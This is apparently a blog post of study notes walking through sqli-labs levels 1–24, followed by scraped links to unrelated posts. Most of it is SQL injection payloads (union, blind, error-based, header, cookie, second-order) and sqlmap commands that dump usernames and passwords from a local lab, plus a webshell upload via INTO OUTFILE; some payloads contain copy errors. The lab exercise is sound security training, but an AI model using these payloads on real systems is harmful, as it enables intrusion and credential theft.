流_2908
流_2908

sqli-labs学习笔记(Less1-Less24)

@TOC

Less-1 GET - Error based - Single quotes - String

select ... from ... where id='$id'

基于union联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=0'

在这里插入图片描述

报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' order by 3--+
在这里插入图片描述

  • 爆出数据库名
    http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,database()--+
在这里插入图片描述
  • 爆出表名
    http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
在这里插入图片描述
  • 爆出列名
    http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
在这里插入图片描述
  • 爆出字段
    http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

==(0x3a:0x是十六进制标志，3a是十进制的58，是ascii中的 ':' ，用以分割pasword和username)==

在这里插入图片描述

使用sqlmap跑：

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db

  • 跑出当前数据库
在这里插入图片描述

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables

  • 爆出表名
在这里插入图片描述

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

  • 爆出列名
在这里插入图片描述

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C id,password,username --dump

  • 爆出字段


    在这里插入图片描述

Less-2 GET - Error based - Intiger based

当输入id=1‘值时，发现所输入的id值全部都带入进去了

在这里插入图片描述

猜测出：select ... from ... where id=$id
所以，将id=1’中的单引号去掉，然后按less-1的步骤进行报表即可
Payload：

  • 爆出数据库栏位，回显错误说明输入栏位大了，回显正确说明栏位小雨或等于此栏位
    http://127.0.0.1/sqli-labs-master/Less-3/?id=1 order by 3--+

  • 爆出数据库名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,database()--+

  • 爆出表名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

  • 爆出列名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

http://爆出字段
http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+

在这里插入图片描述

Less-3 GET - Error based - Single quotes with twist string

当输入id=1’值时，发现输出的报错会自动加上一个右括号


在这里插入图片描述

猜测出：select ... from ... where id=('$id')
，所以，将id=1’中的单引号去掉，然后按less-1的步骤进行报表即可
Payload：

  • 爆出数据库栏位
    http://127.0.0.1/sqli-labs-master/Less-3/?id=1')order by 5 --+

  • 爆出数据库名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,database()--+

  • 爆出表名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

  • 爆出列名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

  • 爆出字段
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+

在这里插入图片描述

Less-4 GET - Error based - Double Quotes - String

当输入id=1’值时，发现不报错，输入id=1”


在这里插入图片描述

猜测出：select ... from ... where id=("$id")
一一
Payload：

  • 爆出数据库栏位
    http://127.0.0.1/sqli-labs-master/Less-3/?id=1”) order by 3 --+

  • 爆出数据库名

http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,database()--+

  • 爆出表名：
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

  • 爆出列名：
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

  • 爆出字段：
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(username,0x3a,password) from users--+

在这里插入图片描述

Less-5 GET - Double Injection - Single Quotes - String

当输入id=1’时出现


在这里插入图片描述

猜测其应该是布尔型盲注、报错型注入、时间延迟型盲注中的一种，构造时间延迟盲注payload：

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+

发现有明显延迟，说明其是时间延迟注入类型，构造爆破Payload：
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5) order by 3--+

时间延迟型手工注入，正确会延迟，错误没有延迟。
本方法中payload = ... ?id=1' and if(报错型payload核心部分,sleep(5),1)--+

  • 爆数据库名称长度：
    Payload：http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+
在这里插入图片描述

明显延迟，数据库名称长8位

  • 爆数据库名：
    Payload：http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left(database(),1)='s',sleep(5),1)--+

明显延迟，数据库第一个字符为s，加下来以此增加left(database(),字符长度)中的字符长度，等号右边以此爆破下一个字符，正确匹配时会延迟。最终爆破得到left(database(),8)='security'

  • 爆出表名：
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='u' ,sleep(5),1)--+

其中 limit 3,1 中3代表第三个表
一个一个字母的爆破，最后

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)--+

明显延迟，说明表名为users

  • 爆出列名：
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='username' ,sleep(5),1)--+

在这里插入图片描述

明显延迟，说明存在username列
同理，爆出password列
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 5,1),8)='password' ,sleep(5),1)--+

  • 爆出字段：
    Username payload：http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
    Password payload：http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

按照id排序，这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb，密码dumb，需要注意的是，mysql对大小写不敏感，所以你不知道是Dumb 还是dumb。
可以更改id值，将所有字段都爆出来

==最好用sqlmap跑，可以直接爆库==

Less-6 GET - Double Injection - Double Quotes - String

双引号字符型注入，上一题的单引号改成双引号就可以了,同样是两种方法：时间延迟型的手工盲注、报错型的手工盲注或者sqlmap

Less-7 GET - Dump into outfile - String

Payload：http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))--+

在这里插入图片描述

正常回显，猜测其sql语句：select ... from ... where id=(('$id'))

  • 用第二题查询路径：
    Payload：
    http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

  • 然后上传一句话木马：
    http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'' into outfile "/var/www/html/sqli-labs-master/Less-7/hacker.php"--+（==linux系统Apache服务器==）
    然后用菜刀连接：

在这里插入图片描述

Less-8 GET - Blind - Boolian Based - Single Quotes

输入id=1时，回显，输入id=1’时不回显，当输入id=1’--+时，回显，所以，可以根据回显来判断，方法如less-5

在这里插入图片描述

  • 爆出数据库名长度payload：
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8--+

  • 爆出数据库名payload：
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),8)="security"--+

接下来爆出表名，列名，字段名，按照less-5方法即可

爆出security的表名payload：

  • 爆出users
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)="users"--+

  • 爆出users表中的列名和列名：
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name="users" limit 4,1),8)="username"--+
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name="users" limit 5,1),8)="password"--+

  • 爆出字段：
    Username payload：http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select username from users order by id limit 0,1),4)="dumb"--+
    Password payload：http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select password from users order by id limit 0,1),4)="dumb"--+

按照id排序，改变limit 值，一一爆出所有字段

Less-9 Blind - Time based. - Single Quotes

由此题名可知，是时间延迟盲注型，输入id=1’and sleep(5)--+

在这里插入图片描述

存在明显延迟，说明其sql语句是：select ... from... where id=’$id’

Payload：

  • 爆出数据库栏位数：
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) order by 3 --+
    存在明显延延迟，当输入order by 后为4时，发现没有延迟，说明栏位数为3
    爆出数据库长度：
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and length(database())=8 --+
    存在明显延迟，说明正确
    爆出数据库名：
    其实就是一个一个的尝试，这种方法很耗时间
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and left(database(),1)='s' --+
    明显延迟，继续增加字符数
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and left(database(),2)='se' --+
    ...
    直到找完8个字符
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and left(database(),8)='security' --+

  • 爆出列名：
    同爆数据库名一样，一个一个的爆
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1 ),1)='u',sleep(3),1)--+
    其中limit x,1),y) 中的x代表第几个表，y代表几个字符，一个一个字符的尝试
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(3),1)--+
    爆出我们所需的表名：users

  • 爆出列名：
    同上道理
    Username payload：http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='username',sleep(3),1)--+
    Password payload：http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 5,1),8)='password',sleep(3),1)--+
    爆出字段：

  • 爆出username列字段：
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(3),1)--+
    爆出password列字段：
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(3),1)--+
    同理，一个一个的爆出所有字段

Less-10 GET - Blind - Time based - double quotes

只需把了less-9的id=1’改为id=1”即可，其它都与less-9都一样

Less-11 POST - Error Based - Single quotes- String

在这里插入图片描述

输入 ttr,123使用burp抓包：

在这里插入图片描述

使用burp修改参数，重新传参：uname=ttr'or 1=1--+&passwd=123&submit=Submit

成功绕过，入侵内部
判断栏位数：

uname=ttr’ order by 2 --+&passwd=123&submit=Submit
当order by x 后的x为3时，爆错，说明栏位是2

  • 爆出数据库：
    Payload：uname=ttr'union select 1,database()--+&passwd=123&submit=Submit
在这里插入图片描述

爆出数据库名为：security

  • 爆出表名：
    Payload：uname=ttr'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=123&submit=Submit
在这里插入图片描述

爆出表名，其中users是我们需要的

  • 爆出列名：
    Payload：uname=ttr'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&passwd=123&submit=Submit
在这里插入图片描述

列名有==USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password==其中username和password是我们要的

  • 爆出字段：
    Payload：uname=ttr'union select 1,group_concat(username,0x3a,password) from users--+&passwd=123&submit=Submit
在这里插入图片描述

爆出来所有的用户名和密码

Less-12 POST - Error Based - Double quotes- String-with twist

由题目可知，是双引号注入型

在这里插入图片描述

使用burp抓包，然后尝试猜测其SQL语句，经过几次尝试，构造出爆破参数
Payload：uname=ttr") or 1=1--+&passwd=123&submit=Submit

在这里插入图片描述

接下来，就可以直接安装less-11的构造方法一步步爆出数据库名，表名，列名，字段

Less-13 POST - Double Injection - Single quotes- String -twist

当输入正确的用户名和密码时，发现不在输入用户名和密码猜测其应该是布尔型注入

在这里插入图片描述

使用burp抓包，尝试构造payload进行爆破，尝试几次，构造出爆破参数

在这里插入图片描述

既然是布尔类型，那么可以less-5一样，可以一步一步的爆破，可是使用burp这样是不行的，所以，就查找新的思路
百度一下，发现大佬们有使用报错型注入方式的

==报错型注入方式：==
由上可知，SQL语句为 select ... from ... where id=(‘$id’)
报错型注入主要是用extractvalue()函数和concat()函数，先了解一下这个函数
extractvalue() :对XML文档进行查询的函数
语法：extractvalue(目标xml文档，xml路径)
第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
extractvalue()能查询字符串的最大长度为32
concat(str,str,...)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ，则返回值为 NULL。
Payload：

  • 爆出数据库名：
    uname=ttr') and extractvalue(1,concat('~',(select database()))) --+&passwd=123&submit=Submit
在这里插入图片描述

以~开头的内容不是xml格式的语法，报错，但是会显示无法识别的内容是什么，这样就达到了目的。

  • 爆出表名：
    uname=ttr') and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=123&submit=Submit
在这里插入图片描述
  • 爆出列名：
    uname=ttr') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=123&submit=Submit
在这里插入图片描述

显然没有将所有的列都爆出来，那么可以使用not in()将爆破后面的列名
修改payload如下
uname=ttr') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')))) --+&passwd=123&submit=Submit

在这里插入图片描述

爆出所需列名
uname=ttr') and extractvalue(1,concat('~',(select group_concat(username,0x3a,password) from users))) --+&passwd=123&submit=Submit

  • 爆出字段：


    在这里插入图片描述

    可以看出只是爆出了部分字段，想要爆出所有字段，想上面一样使用 not in()方法

简单方式：==sqlmap方式==

首先，抓包后将文件保存为txt文件


在这里插入图片描述

我将文件命名为less13.txt,并保存到桌面上

在这里插入图片描述

然后，使用sqlmap进行爆破

  • 爆出数据库名：
    sqlmap -r /home/ttr/桌面/less13.txt --dbs

==less13.txt前需要写绝对路径==


在这里插入图片描述
  • 爆出表名：
    sqlmap -r /home/ttr/桌面/less13.txt -D security --tables
在这里插入图片描述
  • 爆出列名：
    sqlmap -r /home/ttr/桌面/less13.txt -D security -T users --columns
在这里插入图片描述
  • 爆出字段：
    sqlmap -r /home/ttr/桌面/less13.txt -D security -T users -C password,username --dump
在这里插入图片描述

Less-14 Double Injection - Single quotes- String -twist

直接使用burp抓包，尝试构造payload，猜测内部sql语句，尝试几次

在这里插入图片描述

所以，payload为：uname=ttr" or 1=1--+&passwd=123&submit=Submit

使用less-13的方式，报错型注入方法
如下：
构造payload爆出数据库：
uname=ttr" and extractvalue(1,concat('~',(select database())))--+&passwd=123&submit=Submit
接下来就像less-13一样，一步步爆出表名，列名，字段即可

也可以使用sqlmap跑

Less-15 POST - Blind- Boolian/time Based - Single quotes

直接使用burp抓包，尝试构造payload，猜测内部sql语句，尝试几次

在这里插入图片描述

时间延迟型注入
按照less-5一样，一步一步的爆破数据库，表名，列名，字段，只是不同的是使用burp抓包一步一步实现

Less-16 POST - Blind- Boolian/Time Based - Double quotes

这一题只需将id=ttr”改为id=ttr”)，然后在按照less-15的方式即可。

Less-17 POST - Update Query- Error Based - String

Payload：

  • 爆出数据库版本：
    uname=admin&passwd=admin' or updatexml(1,concat('',version(),''),1)--+&submit=Submit
在这里插入图片描述
  • 爆出数据库名：
    uname=admin&passwd=admin' or updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit
在这里插入图片描述
  • 爆出表名：
在这里插入图片描述

额，爆出的数据显然不是我想要的，我百度了一下，也没有解决，有空再试，如果有哪位大牛知道，欢迎指点。。。

Less-18 POST - Header Injection - Uagent field - Error based

此题为user-agent型注入
Payload：

  • 爆库名：
    User-Agent: ' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '


    在这里插入图片描述

  • 爆出表名：
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '


    在这里插入图片描述

  • 爆出列名：
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) or '


    在这里插入图片描述

    使用 not in()将后面的列名爆出来
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')),0x7e)) or '


    在这里插入图片描述

  • 爆出字段：
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) or '


    在这里插入图片描述

    使用not in()方法可以将所有字段都爆出来

Less-19 POST - Header Injection - Referer field - Error based

此题是referer型注入
Payload：
Referer: 'or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '


在这里插入图片描述

按照less-18的步骤，一步一步爆出表名，列名，字段即可

Less-20 POST - Cookie injections - Uagent field - Error based

此题是cookie型注入
方法一union联合查询：
Cookie: uname=admi' order by 3#


在这里插入图片描述

当order by x后为3时，不报错，当x为4时，报错，说明栏位为3
Payload：

  • 爆库名：
    Cookie: uname=admi' union select 1,2,database()#
  • 爆表名：
    Cookie: uname=admi' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 爆列名：
    Cookie: uname=admi' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='users'#
  • 爆字段：
    Cookie: uname=admi' union select 1,2, group_concat(username,0x3a,password) from users#

方法二报错型注入：
Payload：

  • 爆库名：
    Cookie: uname=admin' or updatexml(1,concat(0x7e,database(),0x7e),1)#
  • 爆表名：
    Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
  • 爆列名：
    Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')),0x7e),1)#
  • 爆字段：
    Cookie:uname=admin' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)#
    如果想爆出所有字段，使用not in()方法

Less-21 Cookie Injection- Error Based- complex - string

输入admin,admin


在这里插入图片描述

使用burp抓包，将payload进行base64加密后安装less-20的方法进行爆破即可

Less-22 Cookie Injection- Error Based- Double Quotes - string

Less-22和less-20,less-21的方法一样，不同的是payload改为以uname=admi”开头即可

Less-23 GET - Error based - strip comments

此题过滤了字符 #，- ，这样就不能使用#或者--+进行截断，只能构造闭合型payload

  • 爆库名：
    http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select database()) '

  • 爆表名：
    http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) '

  • 爆列名：
    http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') '

  • 爆字段：
    http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select group_concat(username,0x3a,password) from users) '

此题也可使用报错型注入法，也可使用sqlmap跑

Less-24 Second Degree Injections Real treat -Store Injections

此题为二次注入，二次注入的思路为：首先在数据库中插入恶意数据，在插入过程中，对其中的特殊字符进行了相应的转义，保存在数据库中的就是自己输入的原始数据，开发者默认数据库中的数据，都是安全的数据，因此，在取出数据库中的恶意数据时，不在进行转义过程，从而造成数据恶意更改。

在这里插入图片描述

输入各种payload，发现一律报错，查看源码

在这里插入图片描述

mysql_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。所以，payload中的特殊字符就会直接进行转义
直接注册新用户，username=admin’#
但是查看注册代码可以发现

在这里插入图片描述

同样对特殊字符转义处理


在这里插入图片描述

但是从上面可以看出，写到数据库的是原始内容
当登录账号admin’#后,修改密码


在这里插入图片描述

查看数据库，发现账号admin的密码由原来的123456修改为666，而注册的账号并没有变化
在这里插入图片描述

出现变化的原因主要是

在这里插入图片描述
pass' where username='curr_pass' ";
上面的语句在实际执行中变化为：
pass' where username='admin’#' and password='$curr_pass' ";

你可能感兴趣的:(sqli-labs学习笔记(Less1-Less24))

  • 【一起学Rust | 设计模式】习惯语法——使用借用类型作为参数、格式化拼接字符串、构造函数 广龙宇 一起学Rust#Rust设计模式rust设计模式开发语言
    提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、使用借用类型作为参数二、格式化拼接字符串三、使用构造函数总结前言Rust不是传统的面向对象编程语言，它的所有特性，使其独一无二。因此，学习特定于Rust的设计模式是必要的。本系列文章为作者学习《Rust设计模式》的学习笔记以及自己的见解。因此，本系列文章的结构也与此书的结构相同（后续可能会调成结构），基本上分为三个部分
  • 四章-32-点要素的聚合 彩云飘过
    本文基于腾讯课堂老胡的课《跟我学Openlayers--基础实例详解》做的学习笔记，使用的openlayers5.3.xapi。源码见1032.html，对应的官网示例https://openlayers.org/en/latest/examples/cluster.htmlhttps://openlayers.org/en/latest/examples/earthquake-clusters.
  • 语文主题教学学习笔记之87 东哥杂谈
    “语文主题教学”学习笔记之八十七（0125）今天继续学习小学语文主题教学的实践样态。板块三：教学中体现“书艺”味道。作为四大名著之一的《水浒传》，堪称我国文学宝库之经典。对从《水浒传》中摘选的单元，教师就要了解其原生态，即评书体特点。这也要求教师要了解一些常用的评书行话术语，然后在教学时适时地加入一些，让学生体味其文本中原有的特色。学生也要尽可能地通过朗读的方式，而不单是分析讲解的方式进行学习。细
  • 《转介绍方法论》学习笔记 小可乐的妈妈
    一、高效转介绍的流程：价值观---执行----方案一）转介绍发生的背景：1、对象：谁向谁转介绍？全员营销，人人参与。①员工的激励政策、客户的转介绍诱因制作客户画像：a信任；支付能力；意愿度；便利度（根据家长具备四个特征的个数分为四类）B性格分类C职业分类D年龄性别②执行：套路，策略，方法，流程2、诱因：为什么要转介绍？认同信任；多方共赢；传递美好；零风险承诺打动人心，超越期待。选择做教育，就是选择
  • JAVA学习笔记之23种设计模式学习 victorfreedom Java技术设计模式androidjava常用设计模式
    博主最近买了《设计模式》这本书来学习，无奈这本书是以C++语言为基础进行说明，整个学习流程下来效率不是很高，虽然有的设计模式通俗易懂，但感觉还是没有充分的掌握了所有的设计模式。于是博主百度了一番，发现有大神写过了这方面的问题，于是博主迅速拿来学习。一、设计模式的分类总体来说设计模式分为三大类：创建型模式，共五种：工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。结构型模式，共七种：适配器
  • 新能源汽车 BMS 学习笔记篇—BMS 基本定义及分类 WPG大大通 其他笔记汽车BMS经验分享新能源电池
    一、BMS定义1、概念：BMS（BatteryManagementSystem）即电池管理系统，其管理对象是二次电池（充电电池或蓄电池），其主要目的是电池的利用率，防止电池出现过度充电和过度放电，可应用于电动汽车、电瓶车、机器人、无人机等图片来源：腾讯网https://new.qq.com《标准普尔警告，电动汽车电池生产面临供应链和地缘政治风险》2、四大功能①感知和测量：检测电池的电压、电流、温度
  • 吴恩达深度学习笔记(30)-正则化的解释 极客Array
    正则化（Regularization）深度学习可能存在过拟合问题——高方差，有两个解决方法，一个是正则化，另一个是准备更多的数据，这是非常可靠的方法，但你可能无法时时刻刻准备足够多的训练数据或者获取更多数据的成本很高，但正则化通常有助于避免过拟合或减少你的网络误差。如果你怀疑神经网络过度拟合了数据，即存在高方差问题，那么最先想到的方法可能是正则化，另一个解决高方差的方法就是准备更多数据，这也是非常
  • 个人学习笔记7-6：动手学深度学习pytorch版-李沐 浪子L 深度学习深度学习笔记计算机视觉python人工智能神经网络pytorch
    #人工智能##深度学习##语义分割##计算机视觉##神经网络#计算机视觉13.11全卷积网络全卷积网络（fullyconvolutionalnetwork，FCN）采用卷积神经网络实现了从图像像素到像素类别的变换。引入l转置卷积（transposedconvolution）实现的，输出的类别预测与输入图像在像素级别上具有一一对应关系：通道维的输出即该位置对应像素的类别预测。13.11.1构造模型下
  • golang学习笔记--MPG模型 xxzed golang#学习笔记学习笔记golang
    MPG模式：M（Machine）：操作系统的主线程P（Processor）：协程执行需要的资源（上下文context），可以看作一个局部的调度器，使go代码在一个线程上跑，他是实现从N：1到N：M映射的关键G（Goroutine）：协程，有自己的栈。包含指令指针（instructionpointer）和其它信息（正在等待的channel等等），用于调度。一个P下面可以有多个G1、当前程序有三个M,
  • 碎片化学习笔记分享 剑客写作
    现在生活节奏很快，学习力成为了我们拥有的最大财富。碎片化学习是最好的。首先，不要太过自信，学会虚心学习，是我们面对现实的好方法，才能够常保新鲜。平时我们要拥有什么工具呢？1.思维导图2.写在印象笔记里3.听书，消燥耳机4.教学输出5.录音笔里面最好的方式就是教学输出法，记忆里最好。当输出时我们集中精力记忆里最好。有人认为缩短睡眠时间来学习，其实最好的方式是保持最好的睡眠，记忆力会更好。剥夺睡眠，会
  • 《随园诗话》学习笔记三百零六 飞鸿雪舞
    卷五凡诗之传者，都在灵性五、五斗米与诗【原文】丁丑，余觅一抄书人，或荐黄生，名之纪，号星岩者，人甚朴野。偶过其案头，得句云；“破庵僧卖临街瓦，独井人争向晚泉。”余大奇之，即饷米五斗。自此欣然大用力于诗。五言句云：“云开日脚直，雨落水纹圆。竹锐穿泥壁，蝇酣落酒尊。钓久知鱼性，樵多识树名。笔残芦并用，墨尽指同磨。＂七言云：＂小窗近水寒偏觉，古木遮天曙不知。旧生萍处泥犹绿，新落花时水亦香。旧甓恐闲都贮水
  • D15 论语学习笔记 许小兔Angelina
    悟：上级对下级的宽容：凡事成定局，就不你说了；已接近完结的事，也没必要匡正和挽回了；既然是过去的事，也没必要追究得失和责任了。对待孩子教育也是，不用“问责制”，这样容易让孩子因为害怕担责而说谎。应当循循善诱，避免再犯错才是最重要的。3.16：【原文】子曰：“射不主皮，为力不同科，古之道也。”【译文】孔子说：“射箭比赛不以射透为主，而主要看是否射得准确，因为人的力量不同，自古如此。”3.17：【原文
  • 网络工程师学习笔记（一） 专业白嫖怪 网络工程师学习笔记学习笔记网络
    为了备战下半年的软考——网络工程师，利用每天的下班的闲暇时间看书听课，然后自己手敲整理的系列资料。希望能够对你们有所帮助第一章__计算机网络概述计算机网络的定义：将分散的具有独立运算功能的计算机系统，通过通信线路和通信设备进行连接起来的实现资源的共享。ARPAnet网络的特征：资源共享、分散控制、分组交换1946年第一台通用计算机—埃尼亚克能够相互连通进行数据交换。1960年提出巨型网络，出现了对
  • K8S学习笔记02——K8S组件 沉淅尘 #Docker#K8Skubernetes
    Kubernetes组件一、控制平面组件（ControlPlaneComponents）(1)kube-apiserver(2)etcd(3)kube-scheduler(4)kube-controller-manager(5)cloud-controller-manager二、Node组件1.kubelet2.kube-proxy3.容器运行时（ContainerRuntime）三、插件（Add
  • 「Python」2020.04.08学习笔记 | 第六章文件（a+）模式+把随机手机号写入文件小练习 Yetta的书影屋
    学习测试开发的Day97，真棒！学习时间为40M第九次全天课(下午视频二20M-50M）>>>fp.seek(0)0>>>fp.read()'你好11你好12你好13你好14你好15\n你好16\n你好17\n你好18\n'>>>fp.seek(0,0)0>>>fp.write("*********************************\n")34>>>fp.seek(0,0)0>>>f
  • 《金文成〈中庸〉学习笔记401。2020-2-24》 金吾生
    《金文成〈中庸〉学习笔记401。2020-2-24》今天是庚子年戊寅月丁酉日，二月初二，2020年2月24日星期一。二月二龙抬头。第二十二章【唯天下至诚，为能尽其性；能尽其性，则能尽人之性；能尽人之性，则能尽物之性；能尽物之性，则能赞天地之化育；能赞天地之化育，则可以与天地参矣。】上一节，船山讲解说，性作为天用之本体，于圣人和匹夫匹妇而言并无二致，区别来自于诚。诚的区别来自于纯粹与掺杂。掺杂什么呢
  • CDGA学习笔记三-《数据安全》 zy_chris 网络安全
    七、数据安全7.1引言数据安全包括安全策略和过程的规划、建立与执行，为数据和信息资产提供正确的身份验证、授权、访问和审计。要求来自以下方面：（1）利益相关方（2）政府法规（3）特定业务关注点（4）合法访问需求（5）合同义务7.1.1业务驱动因素1、降低风险信息安全首先对组织数据进行分级分类，对组织数据进行分类分级的整个流程：1）识别敏感数据资产并分类分级2）在企业中查找敏感数据3）确定保护每项资产
  • vue学习笔记——关于对Vue3 ref(), toRef(), toRefs(), unref(), isRef(), reactive()方法的理解。 chen_sir_sh vue学习笔记javascript前端vue
    VUE3出现了很多新的API，下面是自己的一些理解进行的总结。欢迎大家一起交流补充。ref()使用ref创建一个数据类型，ref有value这个属性constname1={age:"14",name:"bob1"};constname2=ref({name:"bob2"});//使用ref创建一个数据类型相对于reactive，ref有value属性name2.value="bob3"consol
  • 遇到僵尸进程，怎么处理---学习笔记 summer@彤妈 性能优化linux
    僵尸进程解释当iowait升高时，进程很可能因为得不到硬件的响应，而长时间处于不可中断状态。从ps或者top命令的输出中，你可以发现它们都处于D状态，也就是不可中断状态（UninterruptibleSleep）。既然说到了进程的状态，进程有哪些状态你还记得吗？我们先来回顾一下。top和ps是最常用的查看进程状态的工具，我们就从top的输出开始。下面是一个top命令输出的示例，S列（也就是Stat
  • C++学习笔记----6、内存管理（五）---- 智能指针（3） 王俊山IT c++学习笔记开发语言
